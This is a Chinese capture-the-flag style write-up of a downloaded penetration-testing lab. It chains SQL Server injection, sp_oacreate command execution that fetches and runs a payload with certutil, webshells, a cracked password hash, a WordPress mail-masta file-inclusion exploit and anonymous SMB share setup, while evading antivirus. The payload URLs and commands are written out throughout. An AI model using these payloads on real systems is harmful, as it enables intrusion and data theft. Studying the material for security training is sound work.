vulntarge-h
2022-11-3 10:6:37 Author: www.freebuf.com(查看原文) 阅读量:6 收藏

前言:

本次文章只用于技术讨论,学习,切勿用于非法用途,用于非法用途与本人无关!

所有环境均为在线下载的靶场,且在本机进行学习。

考察点

这个靶场非常有意思,结合隧道、免杀等知识,包含无回显命令执行、sql server命令执行绕过360、以及defener的绕过,很大程度上考察渗透人员的免杀与实战能力,因为是靶场,所以很多细节就不会记录。

拓扑

1665745359_634941cf15438a34b8c78.png!small?1665745358734

一、外网

这套模板太熟悉不过了,注入肯定有

联合查询注入,

http://10.30.3.128/?user_id=-1 union all select '1',db_name(),'1','1',null

通过当前当前用户名判断出是dbo权限

http://10.30.3.128/?user_id=-1 union select '1','1',user,'1',null

检查xp_cmdshell是否存在(1即存在,0不存在)

http://10.30.3.128/?user_id=-1 union select '2','2',(select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'),'2',null

执行命令会失败,这是因为xp_cmdshell调用的是cmd.exe,360对其直接进行拦截了

绕过360命令执行

我们可以利用xp_oacreate俩=来进行命令执行(前提需要sa权限)

同样1存在,0则是不存在

http://10.30.3.128/?user_id=-1 union select '2','2',(select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'),'2',null

开启xp_oacreate

http://10.30.3.128/?user_id=1;exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

不过需要注意,利用xp_oacreate调用cmd.exe还是会被拦截,我们可以尝试写入webshell

但是路径是个问题,这里尝试了默认的路径C:\inetpub\wwwroot\,这个靶场改路径了,哈哈很有意思

这里就直接下载exe,然后执行上线msf(需要处理进行免杀)

http://10.30.3.128/?user_id=1;declare @shell int;
exec sp_oacreate 'wscript.shell', @shell out;
exec sp_oamethod @shell, 'run' , null, 'C:\Windows\System32\certutil.exe -f -urlcache -split http://10.30.3.129/a.exe c:\a.exe';

然后执行exe,即可上线

http://10.30.3.128/?user_id=1;declare @shell int;
exec sp_oacreate 'wscript.shell', @shell out;
exec sp_oamethod @shell, 'run' , null, 'c:\a.exe';

但是一些命令还是无法执行,但是迁移进程居然可以成功

ps查看进程,返现是360

翻一翻目录文件吧,发现这个很老六,网站路径是这个,不是默认的wwwroot(对于fuzz路径还是有难度的)

然后写入个webshell(webshell也需要免杀,哈哈360也会查杀)

虽然拿到了shell但是不免杀,也相当于没啥用,不管是抓取密码还是权限的提升都需要免杀,包括添加用户等

但是我们可以先看看有没有另外的网段,通过信息收集来达到更深层次的危害

这里先添加隧道,查看另外网段的机器

192.168.153.128

192.168.153.129

192.168.153.130(外部web机器)

二、内网机器

火绒机器

访问http://192.168.153.128/

是个命令执行,但是无回显,因为在内网所以就会有很大的限制

如果是linux的机器那么会稍微轻松一点,如果是windows那么会有限制(怎么判断这里就不阐述了,较简单)

这里这台机器是windows的一个命令执行无回显,因为处在内网所以dnslog可能有限制。

尝试写入和copy命令但是都没反应,这里初步猜测是站点目录做了权限限制,低权限用户没有写入的权限,这是个很大的限制

这里尝试进行盲打,就是通过下载命令下载木马到c盘根目录,然后执行看看可否上线(这里还需要考虑是否出网问题)

将exe上传至外网机器(因为对方有web服务)

然后执行

然后监听执行

让我们看看a.txt里面到底是啥,是个webshell。。。

现在以及有msf会话了,这个shell已经不重要了,杀软是火绒

在提权、抓密码的时候,火绒没拦截,抓取到的密码

windows7
c7774443372cc3c7831fd4e974a8f7f8(mimataichangyebuhao)

因为是工作组所以不考虑域,这台机器也没有其他的网段

Defener机器

接下来看看另外一台机器,http://192.168.153.129/

先尝试wpscan,这里wpscan扫出俩一个漏洞,这里就直接上poc了,文件包含的一个漏洞

Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);

Source: /inc/lists/csvexport.php:
Line 5: include($_GET['pl']);

Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);

Source: /inc/lists/csvexport.php
Line 5: include($_GET['pl']);

Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);

http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

http://192.168.153.129/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=c:\windows\win.ini

尝试远程文件包含,因为火绒机器是有web的,所以可以传webshell到火绒机器下

但是没有成功,应该是不允许远程文件包含(因为包含火绒机器的index.php也没有成功)

http://192.168.153.129/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php/?pl=http://192.168.153.128/index.php

利用伪协议读取文件

php://filter/read=convert.base64-encode/resource=index.php

http://192.168.153.129/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php/?pl=php://filter/read=convert.base64-encode/resource=c:\\phpstudy_pro\\www\\index.php

成功读取到了index.php,尝试读取配置文件

http://192.168.153.129/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php/?pl=php://filter/read=convert.base64-encode/resource=c:\\phpstudy_pro\\www\\wp-config.php

读取到mysql的账号和密码,root、root,尝试连接但是失败,不允许外连

利用smb匿名共享绕过远程包含

当不允许远程文件包含的时候,可以尝试利用smb来进行包含,因为allow_url_include、allow_url_fopen的开关不会影响到smb

因为我们已经拿到火绒机器的shell,并且抓取到了密码,我们可以登录到火绒机器,在火绒机器开启smb匿名共享来达到包含的目的

需要管理员权限运行cmd(都登录到远程桌面了,这个很容易)

1.启用Guest用户
net user guest /active:yes
2.将Everyone权限应用于匿名用户
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
3.指定匿名共享文件的位置
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d smb /f
4.将Guest用户从策略“拒绝从网络访问这台计算机”中移除

导出组策略:

secedit /export /cfg c:\gp.inf /quiet

修改文件gp.inf,将SeDenyNetworkLogonRight = Guest修改为SeDenyNetworkLogonRight=,保存

重新导入组策略:

secedit /configure /db c:\gp.sdb /cfg c:\gp.inf /quiet

强制刷新组策略,立即生效(否则,重启后生效):

gpupdate /force
5.设置文件共享

(需要自己先创建一个文件夹和文件,不然后面创建的文件会提示访问没有权限)

icacls C:\share\ /T /grant Everyone:r
net share share=c:\share /grant:everyone,full

至此,可匿名访问的文件共享服务器开启成功,访问的地址为//<ip>/

http://192.168.153.129/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=\\192.168.153.128\share\a.txt


文章来源: https://www.freebuf.com/articles/web/346935.html
如有侵权请联系:admin#unsafe.sh